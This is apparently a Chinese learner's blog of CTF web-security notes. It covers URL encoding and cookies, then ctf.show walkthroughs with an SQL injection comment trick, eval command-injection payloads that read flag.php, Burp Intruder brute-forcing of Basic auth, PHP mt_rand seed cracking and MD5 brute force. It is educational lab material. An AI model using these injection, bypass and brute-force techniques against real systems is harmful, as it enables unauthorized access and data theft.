URL 知识点

1
https://www.example.com:8080/path/to/resource?query=param#fragment
  • https://

    协议(Scheme)。其他常见协议:httpftp

  • www.example.com

    域名(Host/Domain)。

  • :8080

    端口(Port)。默认端口如80443等可省略,非标准端口需要显式声明。

  • /path/to/resource

    路径(Path)。

  • ?query=param

    查询参数(Query String)。以?开头,键值对形式,多个参数用&连接。

  • #fragment

    片段标识符(Fragment)。以#开头。用于在客户端定位页面内的特定部分(如锚点链接),不会发送到服务器

了解了 URL 的结构,再要了解 URL 编码也就不难了。

先放个定义: URL 编码(百分号编码)确保 URL 的正确传输和解析,主要处理保留字符、非 ASCII 字符及不安全字符。如/, ?, &, =, #, %等。

那么何时需要 URL 编码呢?

提前总结: URL 要用到某个符号的部分(例如路径中用到 / )或因为历史遗留问题禁用某个符号的,就要转码。

  • 路径(Path)
    • 允许直接使用:字母、数字、-_.~/(分隔路径)。
    • 需要转码的字符:
      • 空格 → 转为 %20+(但 + 在路径中可能被误解,建议用 %20)。
      • 其他保留字符(如 / , ?, #, [, ], @ 等)在路径中出现时需转码。
      • 非 ASCII 字符(如中文)→ 用 UTF-8 编码后转码,例如 张三%E5%BC%A0%E4%B8%89
    • 全部符号:
      • 控制字符(0x00-0x1F, 0x7F)
      • 空格(0x20 → %20
      • 双引号 "(0x22 → %22
      • 井号 #(0x23 → %23
      • 百分号 %(0x25 → %25,当不作为编码前缀时)
      • 斜杠 /(0x2F → %2F,当出现在路径段内而非分隔符时)
      • 尖括号 < >(0x3C → %3C,0x3E → %3E
      • 问号 ?(0x3F → %3F,路径结束后才是查询部分)
      • 方括号 [ ](0x5B → %5B,0x5D → %5D
      • 反斜杠 \(0x5C → %5C
      • 插入符 ^(0x5E → %5E
      • 反引号 ```(0x60 → %60
      • 花括号 { }(0x7B → %7B,0x7D → %7D
      • 竖线 |(0x7C → %7C
  • 查询参数(Query String)
    • 允许直接使用:字母、数字、-_.~
    • 需要转码的字符:
      • 空格 → 通常转为 +%20(两者都常见)。
      • 保留字符:=, &, +, ?, #, % 等。例如:
        • &%26
        • =%3D
        • ?%3F
      • 非 ASCII 字符 → UTF-8 转码,例如 张三%E5%BC%A0%E4%B8%89
    • 全部符号:
      • 控制字符
      • 空格(0x20 → %20+
      • 双引号 "(0x22 → %22
      • 井号 #(0x23 → %23
      • 百分号 %(0x25 → %25
      • 与号 &(0x26 → %26,当不作为参数分隔符时)
      • 加号 +(0x2B → %2B,当不作为空格替代符时)
      • 尖括号 < >(0x3C → %3C,0x3E → %3E
      • 等号 =(0x3D → %3D,当不作为键值分隔符时)
      • 方括号 [ ](0x5B → %5B,0x5D → %5D
      • 反斜杠 \(0x5C → %5C
      • 插入符 ^(0x5E → %5E
      • 反引号 ```(0x60 → %60
      • 花括号 { }(0x7B → %7B,0x7D → %7D
      • 竖线 |(0x7C → %7C
  • 片段标识符(Fragment,即 # 后的部分)
    • 规则与查询参数类似,但 # 本身必须转码为 %23
    • 全部符号:
      • 控制字符
      • 空格(0x20 → %20
      • 双引号 "(0x22 → %22
      • 井号 #(0x23 → %23,否则会被视为片段起始符)
      • 百分号 %(0x25 → %25
      • 尖括号 < >(0x3C → %3C,0x3E → %3E
      • 方括号 [ ](0x5B → %5B,0x5D → %5D
      • 反斜杠 \(0x5C → %5C
      • 插入符 ^(0x5E → %5E
      • 反引号 ```(0x60 → %60
      • 花括号 { }(0x7B → %7B,0x7D → %7D
      • 竖线 |(0x7C → %7C

Cookie☆

  • 本质
    Cookie 是 ​​服务器发送到浏览器​​ 的一小段文本数据(通常小于 4KB),浏览器会保存它,并在后续请求中自动回传给服务器。
  • 核心作用
    ​维持 HTTP 协议的无状态性​​(HTTP 本身不记录用户状态),实现用户身份识别、会话跟踪等功能。
  • 存储位置
    浏览器本地(不同浏览器存储路径不同,如 Chrome 在 Cookies 数据库文件中)。
  • 服务器设置 Cookie
    通过 HTTP 响应头的 Set-Cookie 字段发送给浏览器:

    1
    2
    HTTP/1.1 200 OK
    Set-Cookie: user_id=123; Expires=Wed, 21 Oct 2025 07:28:00 GMT; Path=/; Secure; HttpOnly
  • 浏览器存储 Cookie

    浏览器按照规则存储 Cookie,后续每次请求相同域名和路径时,自动通过 Cookie 请求头回传:

    1
    2
    3
    GET /path HTTP/1.1
    Host: example.com
    Cookie: user_id=123; session=abc
  • Cookie 的关键属性

    属性 作用 示例
    Expires 指定 Cookie 过期时间(GMT 格式)。如果没有设置,则为会话Cookie,浏览器关闭后删除 Expires=Wed, 21 Oct 2025 07:28:00 GMT
    Max-Age 存活时间(秒,优先级高于 Expires)。不受客户端时钟影响。 Max-Age=3600(1小时)
    Domain 生效域名。若是.example.com的形式,则是对该域名的子域名也有用。 Domain=example.com
    Path 生效路径(限制 Cookie 的访问路径) Path=/admin
    Secure 仅通过 HTTPS 传输时带有该属性。无值属性 Secure
    HttpOnly 禁止 JavaScript 访问(防 XSS 攻击)。无值属性 HttpOnly
    SameSite 限制跨站请求携带 Cookie(防 CSRF 攻击,可选 Strict/Lax/None SameSite=Lax

    以上是 Cookie 的标准属性,使用时不区分大小写。除了标准属性,还可以在 Set-Cookie 字段中自定义 Cookie 属性,如:

    1
    Set-Cookie: abc=123;

    自定义 Cookie 属性要区分大小写,若两个属性名称相同,大小写不同,则代表不同的自定义属性。

关于注释

-- 表示 SQL 标准注释,用于注释单行(注意最后有一空格)。

当网站存在尾部空格过滤的功能时,将会无法正确进行 SQL 注入
例如:

1
SELECT * FROM users WHERE username='a' or true --' AND password='1'

此处注入语句尾部空格被去掉,无法正常注入。
可用 MySQL 的单行注释符 # 来代替,不需要额外添加空格,更加简单有效。
也可在 -- 后加上使尾部空格不会被过滤的其他字符,如 -- a ,有用但不推荐。

# 表示 MySQL 单行注释符,功能与 -- 相同。

未编码的 # 在URL中被称为片段标识符( Fragment Identifier ),方便浏览器将页面滚动到对应内容的位置。浏览器不会将 # 后的内容发送到服务器,所以,如果要在导航栏中进行 SQL 注入并使用 # ,需要编码为 %23

我的第一道命令执行

题目: ctf.show web21

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

正则表达式会匹配 flag ,忽略大小写。如果 GET 请求的参数 c 中含有 flag ,便无法利用 eval 执行命令。

对此,先用 ls 命令看看目录里有什么:

1
?c=system(ls);

tips

  • system() 函数:可执行操作系统命令,实时输出结果到浏览器/终端。

  • 此处 ls 命令无空格,所以可以不加引号,但依旧建议使用 system() 函数时给命令加上引号。

  • 我的浏览器会自动 URL 转码,所以此处没转码。

目录中有两个文件: index.phpflag.php ,此时可以通过多种方式得到 flag.php 的内容:

方法一:

1
?c=system('cat fl*g.php');

通过通配符 * 绕过正则表达式,直接查看文件内容。但文件开头有个 <?php ,其中 < 会导致 HTML 解析异常,文件内容不会直接显示在网页中,要查看源码才能看到。

对此,作出如下改进:

1
?c=system('tac fl*g.php');

tac 命令从末行开始输出,最后输出首行,虽然 <?php 无法正常在网页中显示,但其他行全部正常显示。

方法二:

1
?c=system('cp fl*g.php a.txt');

通过 cp 命令复制一个新的文件 a.txt ,然后尝试通过 URL 访问该文件,成功。

方法三:

1
?c=echo file_get_contents($_GET[a]);&a=flag.php

代码只过滤了 GET 请求的参数 c ,未过滤其它参数,所以此处设定参数 aflag.php 然后再读取 $_GET[a] 能够绕过过滤。不过,同方法一的问题,文件内容在源码里,要开 F12 。

提醒一下自己,URL 传参没必要给每个参数的值加引号。

操作系统交互函数

  • system()
    输出行为:直接输出命令的标准输出(STDOUT),输出所有结果。
    返回值:成功时返回所有输出;失败时返回 false
    状态码:可通过第二个参数获取命令的退出状态码。
1
$last_line = system('ls -la', $status_code);
  • exec()
    输出行为:默认不直接输出结果,需通过第二个参数捕获完整输出数组。
    返回值:成功时返回命令的最后一行输出(若要全部输出,需要第二个参数捕获完整输出数组,然后输出该数组);失败时返回 false
    状态码:通过第三个参数获取退出状态码。
1
2
exec('ls -la', $output, $status_code);
print_r($output); // 输出数组形式的结果
  • shell_exec() 和反引号运算符(`)

    输出行为:不直接输出结果,返回完整输出字符串。
    返回值:成功时返回完整的输出字符串;失败或空输出时返回 null

1
2
3
4
$result = shell_exec('ls -la');
// 或使用反引号
$result = `ls -la`;
echo $result;
  • passthru()
    输出行为:直接输出原始二进制数据(如图像、音频)到浏览器。
    返回值:无输出内容,但可通过第二个参数获取状态码。
1
passthru('cat image.jpg', $status_code);

我的第一次爆破

题目: ctf.show web21
考察 HTTP Basic 认证协议与爆破

进入靶场后随意输入账号密码 adminpassword ,抓包发现 Authorization 字段中有 Base64 编码 YWRtaW46cGFzc3dvcmQ ,转换得 admin:password

此处基于 HTTP Basic 认证协议 ,会拼接账号、冒号与密码为一个字符串,再转换为 Base64 编码,插入请求头的 Authorization 字段。

但不管本题具体是什么协议,得到了账号密码拼接方式即可进行爆破。

打开 Burp Suite 的 Intruder 模块,在 Authorization 字段中添加 Payload 。

只有一个 Payload ,所以选择 Sniper attack 。在 Payloads 具体内容中, Payload type 选 Custom iterator (自定义迭代); Payload configuration 中的 Position 1-3 分别设置账号、 : 和密码字典; Payload processing 加入 Base64 编码;取消 Payload encoding 的 URL 编码(因为此处 Payload 不在 URL 中)。

开始攻击,有 200 状态码出现,复制对应的 Payload 到请求头 Authorization 字段,响应中有 flag ,OK。

PHP 伪随机数

题目一

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
?>

tips

mt_srand():播种函数。伪随机数,种子相同,通过mt_rand()生成的一系列随机数必然相同。也就是两次播种的种子是同一个,这两次播种后每次用mt_rand()生成的随机数都互相对应。如:

1
2
3
4
5
6
7
8
9
10
<?php
mt_srand(114);
echo mt_rand().'<br>';//325627173
echo mt_rand().'<br>';//271482249
mt_srand(114);
echo mt_rand().'<br>';//325627173
echo mt_rand().'<br>';//271482249
mt_srand(514);
echo mt_rand().'<br>';//1025750179
echo mt_rand().'<br>';//490569148

mt_rand():随机数函数。可以直接用,也可以设定最大与最小值(参数1和参数2)

本题找个 PHP 解释器生成一下伪随机数,然后通过 URL 发送 GET 请求即可。


题目二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}

本题随机数种子固定 hexdec(substr(md5($flag), 0,8)) ,**$_GET['r'] 与首次生成的随机数不等时会返回两数相减的值,相等且 $_COOKIE['token'] 等于第二三次生成随机数之和**时会返回 flag 。

可以先把已生成的随机数得出来:?r=0,记得去掉负号,于是返回 flag 的第一重条件满足了。

通过伪随机数得到种子比较困难,好在有大佬写了工具 php_mt_seed ,把源码编译完即可运行。

https://github.com/openwall/php_mt_seed

在源码目录中编译

1
make

运行,<seed> 为种子。

1
time ./php_mt_seed <seed>

运行后选择 PHP 7.0 以上版本(结合题目提供的操作系统版本信息得知)的种子,每个生成三次随机数待使用。

打开 burp 抓包。修改 URL 中参数 r ,并添加 Cookie: token= ,值为某种子第二三次随机数的和(要多试几次不同的种子)。

手动修改 Cookie 时,一定要注意 burp 内的报文格式!若是请求体为空,则最后有两行空行(请求空行和请求体),这点与一般认知(请求空行作为最后一行表示请求体为空)不同。

手动修改时没注意,好几次发包响应报文都是完全空白。建议在 Proxy 模块的 Intercept 页或 Repeater 模块这两处右方的 Inspector 区域修改。

最后以正确格式发包,得到有 flag 的响应,OK。

ctfshow_Web23哈希爆破不写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);

include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);

}
?>

tips

substr():切割字符串,参数2为开始切割位置(含该字符),参数3为切割长度。

intval():取整数。

highlight_file(__FILE__):访问该 PHP 文件时高亮显示源码。


md5()函数输出哈希字符串,结合下面的if语句的极端罕见条件,本题只能靠穷举碰运气得出正确的哈希值,才能返回 flag 。

先在 URL 用 GET 方法传参(参数随意),抓包,传到 burp 的 intruder 模块修改。利用 Payloads 中 Payload typeCustom iterator ,组合出大量不同的 Payload 并攻击。最后以响应的长度排序,与其他包长度不一样的就是碰对运气带有 flag 的。

信息收集小技巧

  • 开F12看不了源码,可以URL前加 view-source: ,也可以用 Ctrl + U ,也可以自己找浏览器相关工具。
  • robots.txt 一般网站都能看,可以看看有没有要用的信息。
  • .phps 类型的文件用于网站开发时测试。当服务器配置为支持 .phps 扩展名时,访问此类文件会直接在浏览器中显示 PHP 源代码的语法高亮版本,而不是执行代码。若在网站投入使用时未正确配置服务器,导致可访问 .phps 文件(直接下载或在浏览器中高亮显示),可能存在源码暴露的风险
  • 响应标头中的x-powered-by:可以查看 PHP 版本。